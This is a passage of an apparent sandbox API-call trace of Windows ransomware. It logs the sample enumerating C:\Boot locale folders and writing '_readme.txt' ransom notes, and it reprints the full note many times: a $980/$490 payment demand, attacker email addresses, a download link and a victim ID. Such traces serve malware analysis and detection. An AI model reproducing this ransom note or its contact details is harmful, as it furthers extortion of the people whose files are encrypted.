other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.355] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.355] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.355] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.355] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0117.355] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.356] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.356] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.356] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.356] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0117.356] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.356] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.356] PathFindFileNameW (pszPath="") returned="" [0117.356] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.356] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.356] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.356] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.356] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0117.356] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0117.357] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.357] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.357] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.357] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.357] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0117.357] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.357] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.357] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.357] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.357] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0117.358] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.358] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.358] PathFindFileNameW (pszPath="") returned="" [0117.358] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.358] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.358] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.358] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.358] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0117.358] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0117.358] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.358] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.359] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.359] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.359] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0117.359] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.359] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.359] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.359] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.359] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0117.359] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.359] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.359] PathFindFileNameW (pszPath="") returned="" [0117.359] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.360] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.360] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.360] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.360] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0117.360] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0117.360] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.360] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique 